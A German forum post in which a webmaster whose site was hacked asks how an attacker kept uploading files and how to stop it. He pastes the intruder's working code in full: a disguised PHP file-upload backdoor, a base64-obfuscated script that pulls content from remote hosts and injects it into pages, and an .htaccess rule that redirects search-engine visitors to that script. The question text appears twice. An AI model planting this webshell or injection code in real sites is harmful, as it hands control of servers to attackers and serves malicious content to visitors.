Hallo,
ich habe ein Problem undzwar hat ein Angreifer einen Backdoor auf den FTP-Server in einem tiefen Verzeichnis abgelegt mit folgendem Inhalt:
über diese Datei hat er in allen Unterverzeichnissen eine Dateie names phpinfo.php abgelegt mit folgenden Inhalt:
Dazu hat er noch meine .htaccess verändert und in dem Verzeichnis wo die .htaccess noch nicht vorhanden war, hat der Angreifer diese hinzugefügt.
Folgende Zeilen Code standen in der .htaccess:
Ist ein Besucher mit dem Internet Explorer oder Opera von Google und anderen Suchmaschinen auf die Seite gekommen, so hat dieser eine Fehlermeldung gesehen.
Ich habe schon mein FTP-Passwort geändert. Allerdings hat das nichts gebracht. Der Angreifer hat auch Tage danach noch was hochladen können. War es wirklich möglich, über diese Backdoordatei was auf dem FTP-Server hochzuladen?
Wie verhalte ich mich in Zukunft? Es ist ziemlich nervig alle Dateien aus allen Verzeichnissen manuell zu löschen. Außerdem verliere ich ja Besucher auf den Seiten, wenn diese über Google & Co. kommen.
Kann ich meine FTP-Rechte so einstellen, dass keine neuen Dateien erstellt werden können über CHMOD?
Bei mir haben standartmäßig alle Dateien 644 CHMOD-Rechte und die Ordner CHMOD 755.
Ich hoffe ihr könnt mir da helfen.
Grüße
Matthias
ich habe ein Problem undzwar hat ein Angreifer einen Backdoor auf den FTP-Server in einem tiefen Verzeichnis abgelegt mit folgendem Inhalt:
Code:
<?php
if(!empty($_FILES['message']['name']) && (md5($_POST['name']) == '2970d43d7bf4115cdc60e2453bf48b52'))
{
$security_code = (empty($_POST['security_code'])) ? '.' : $_POST['security_code'];
$security_code = rtrim($security_code, "/");
@move_uploaded_file($_FILES['message']['tmp_name'], $security_code."/".$_FILES['message']['name']) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
}
print '<html>
<head>
<title>Search form</title>
</head>
<body>
<form enctype="multipart/form-data" action="" method="POST">
Message: <br/><input name="message" type="file" />
<br/>Security Code: <br/><input name="security_code" value=""/>
<br/>Name: <br/><input name="name" value=""/><br/>
<input type="submit" value="Sent" />
</form>
</body>
</html>';//41324628
über diese Datei hat er in allen Unterverzeichnissen eine Dateie names phpinfo.php abgelegt mit folgenden Inhalt:
Code:
<? $GLOBALS['_763850370_']=Array(base64_decode('ZGVmaW5l'),base64_decode('ZGVm'.'a'.'W5'.'l'),base64_decode('aW1'.'hZ2VmaWx0ZXI='),base64_decode('Z'.'nJlYWQ='),base64_decode('ZmlsZV9nZ'.'XRfY'.'29u'.'dG'.'Vud'.'HM='),base64_decode('ZGly'),base64_decode('a'.'W1h'.'Z2V'.'kZ'.'X'.'N0cm9'.'5'),base64_decode('c3R'.'yZWFt'.'X'.'2'.'Nv'.'bnR'.'leHRfY'.'3J'.'lY'.'XRl'),base64_decode('Zmls'.'ZV9nZ'.'XRf'.'Y29'.'udGVu'.'dHM='),base64_decode('ZnB1'.'dHM'.'='),base64_decode(''.'Z'.'nJlYW'.'Q='),base64_decode('ZmNs'.'b3Nl'),base64_decode(''.'c3'.'RycmV2'),base64_decode('c3Ry'.'cG9z'),base64_decode(''.'c3R'.'yc'.'G9'.'z'),base64_decode('YXJyYX'.'lf'.'a2V5c'.'w='.'='),base64_decode('c'.'3Vic3Ry'),base64_decode('Y29zaA=='),base64_decode('dGltZQ=='),base64_decode('Y3VybF9pbml0'),base64_decode('Y'.'3V'.'y'.'bF9zZXR'.'v'.'cHQ='),base64_decode('Y'.'3Vy'.'bF9z'.'ZXRvcHQ'.'='),base64_decode('c29ja2V0X2d'.'ldF9zdGF0d'.'XM='),base64_decode('Y3V'.'ybF'.'9z'.'Z'.'XRvcHQ='),base64_decode('cGFjaw=='),base64_decode('c3RydG90aW'.'1l'),base64_decode(''.'Y3VybF9'.'leGVj'),base64_decode('Y3Vy'.'b'.'F'.'9jbG9zZQ=='),base64_decode(''.'a'.'W'.'5p'.'X2dl'.'dA'.'=='),base64_decode('cGFyc2VfdXJ'.'s'),base64_decode('ZnNvY2'.'tvcGVu'),base64_decode('Zn'.'Vu'.'Y'.'3Rpb25fZX'.'hpc3R'.'z')); ?><? function _1573533058($i){$a=Array(''.'SUZ'.'SQU1FX1VSTA'.'==','aHR0c'.'DovL2dv'.'d3IuZHJkYXRh'.'aG'.'91'.'c2'.'UuY'.'29'.'tLz'.'EudHh0','SUZSQU1F'.'X1VS'.'TF8y','aHR0c'.'DovL3Rlb'.'X'.'AubXliaWtlc2l'.'naH'.'Q'.'uY29'.'tLz'.'EudHh0','aHR0cDov'.'Lw'.'==','S'.'FRUUF9IT1NU','UkVRVU'.'VTVF9'.'VUkk=','aHR0cA==','dGltZW91d'.'A==','R0VUIA'.'==','Pw==',''.'IEhUV'.'FAgMS4w'.'DQo=','VXNl'.'c'.'i'.'1BZ2Vud'.'DogT'.'W9'.'6a'.'W'.'xsY'.'S81LjAg'.'KFdpbmRvd3M7IF'.'U7IFd'.'pbmRv'.'d3M'.'gTl'.'Qg'.'N'.'S4xOyBlbi'.'1VUzs'.'gcnY6'.'MS44'.'LjAuM'.'y'.'kgR2Vja'.'28'.'v'.'MjAwN'.'jA0M'.'jYgRm'.'lyZW'.'ZveC8xLjU'.'uM'.'C4zD'.'Qo'.'=','QWN'.'j'.'Z'.'XB0O'.'iAqLyoNCg==','QW'.'NjZXB0LUx'.'h'.'bm'.'d1YWdlOiBlbi1'.'1'.'cy'.'xl'.'bjtxPTAuNQ0'.'K','QWNjZXB0LUNoY'.'XJ'.'zZXQ6IE'.'lTTy04OD'.'U5LTEsdXRmLTg7cT0'.'wL'.'jcs'.'Kj'.'txPTAuNw'.'0K','S2VlcC1BbGl'.'2ZTog'.'M'.'zA'.'wDQo=','Q2'.'9u'.'bmVjd'.'Gl'.'v'.'bjoga2Vlc'.'C1'.'hbGl2'.'ZQ0'.'K','DQoNCg==','bnZ'.'kcGtnamZkZWdwc'.'Wg=','cn'.'Z'.'meg='.'=',''.'YWx'.'sb3dfdXJsX2Z'.'vcGVu','aG9'.'zdA==','aG9zdA==','cG'.'F'.'0aA'.'==','cXVlc'.'nk'.'=','Y'.'3V'.'yb'.'F9'.'p'.'bm'.'l'.'0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_763850370_'][0](_1573533058(0),_1573533058(1));$GLOBALS['_763850370_'][1](_1573533058(2),_1573533058(3));if((round(0+2689)^round(0+2689))&& $GLOBALS['_763850370_'][2]($_0,$_1,$_2,$_3))$GLOBALS['_763850370_'][3]($_4);$_5=l__3(IFRAME_URL);if(empty($_5)){$_5=l__3(IFRAME_URL_2);}echo $_5;echo@$GLOBALS['_763850370_'][4](_1573533058(4) .$_SERVER[_1573533058(5)] .$_SERVER[_1573533058(6)]);if((round(0+233+233+233+233)+round(0+250.4+250.4+250.4+250.4+250.4))>round(0+932)|| $GLOBALS['_763850370_'][5]($_6,$_7));else{$GLOBALS['_763850370_'][6]($_8);}function l__0($_9){$_10=$GLOBALS['_763850370_'][7](array(_1573533058(7)=> array(_1573533058(8)=> round(0+7.5+7.5))));return $GLOBALS['_763850370_'][8]($_9,false,$_10);}function l__1($_11,$_4,$_12,$_2){$GLOBALS['_763850370_'][9]($_11,_1573533058(9) .$_12 ._1573533058(10) .$_2 ._1573533058(11) ."Host: $_4\r\n" ._1573533058(12) ._1573533058(13) ._1573533058(14) ._1573533058(15) ._1573533058(16) ._1573533058(17) ."Referer: http://$_4\r\n\r\n");while($_13=$GLOBALS['_763850370_'][10]($_11,round(0+4096))){$_3 .= $_13;}$GLOBALS['_763850370_'][11]($_11);while(round(0+549+549+549+549+549)-round(0+915+915+915))$GLOBALS['_763850370_'][12]($_0,$_14,$_9,$_0);$_8=$GLOBALS['_763850370_'][13]($_3,_1573533058(18));if($GLOBALS['_763850370_'][14](_1573533058(19),_1573533058(20))!==false)$GLOBALS['_763850370_'][15]($_10,$_14,$_9);$_3=$GLOBALS['_763850370_'][16]($_3,$_8+round(0+4));return $_3;if((round(0+919.75+919.75+919.75+919.75)^round(0+1226.3333333333+1226.3333333333+1226.3333333333))&& $GLOBALS['_763850370_'][17]($_2))$GLOBALS['_763850370_'][18]($_12,$_6);}function l__2($_9){$_7=$GLOBALS['_763850370_'][19]($_9);$GLOBALS['_763850370_'][20]($_7,round(0+42),FALSE);$GLOBALS['_763850370_'][21]($_7,round(0+9956.5+9956.5),TRUE);while(round(0+1967)-round(0+491.75+491.75+491.75+491.75))$GLOBALS['_763850370_'][22]($_0,$_12);$GLOBALS['_763850370_'][23]($_7,round(0+2.6+2.6+2.6+2.6+2.6),round(0+7.5+7.5));if((round(0+1812.5+1812.5)^round(0+1812.5+1812.5))&& $GLOBALS['_763850370_'][24]($_6,$_4,$_5,$_4))$GLOBALS['_763850370_'][25]($_10,$_14);$_3=$GLOBALS['_763850370_'][26]($_7);$GLOBALS['_763850370_'][27]($_7);return $_3;}function l__3($_9){if($GLOBALS['_763850370_'][28](_1573533058(21))== round(0+0.2+0.2+0.2+0.2+0.2)){$_14=l__0($_9);}else{$_1=$GLOBALS['_763850370_'][29]($_9);if($_11=@$GLOBALS['_763850370_'][30]($_1[_1573533058(22)],round(0+20+20+20+20),$_6,$_0,round(0+15))){$_14=l__1($_11,$_1[_1573533058(23)],$_1[_1573533058(24)],$_1[_1573533058(25)]);}elseif(@$GLOBALS['_763850370_'][31](_1573533058(26))){$_14=l__2($_9);}}return $_14;$_15=round(0+2015.5+2015.5);}
Dazu hat er noch meine .htaccess verändert und in dem Verzeichnis wo die .htaccess noch nicht vorhanden war, hat der Angreifer diese hinzugefügt.
Folgende Zeilen Code standen in der .htaccess:
Code:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/phpinfo.php
RewriteRule (.*) /phpinfo.php?query=$1 [QSA,L]
</IfModule>
Ist ein Besucher mit dem Internet Explorer oder Opera von Google und anderen Suchmaschinen auf die Seite gekommen, so hat dieser eine Fehlermeldung gesehen.
Ich habe schon mein FTP-Passwort geändert. Allerdings hat das nichts gebracht. Der Angreifer hat auch Tage danach noch was hochladen können. War es wirklich möglich, über diese Backdoordatei was auf dem FTP-Server hochzuladen?
Wie verhalte ich mich in Zukunft? Es ist ziemlich nervig alle Dateien aus allen Verzeichnissen manuell zu löschen. Außerdem verliere ich ja Besucher auf den Seiten, wenn diese über Google & Co. kommen.
Kann ich meine FTP-Rechte so einstellen, dass keine neuen Dateien erstellt werden können über CHMOD?
Bei mir haben standartmäßig alle Dateien 644 CHMOD-Rechte und die Ordner CHMOD 755.
Ich hoffe ihr könnt mir da helfen.
Grüße
Matthias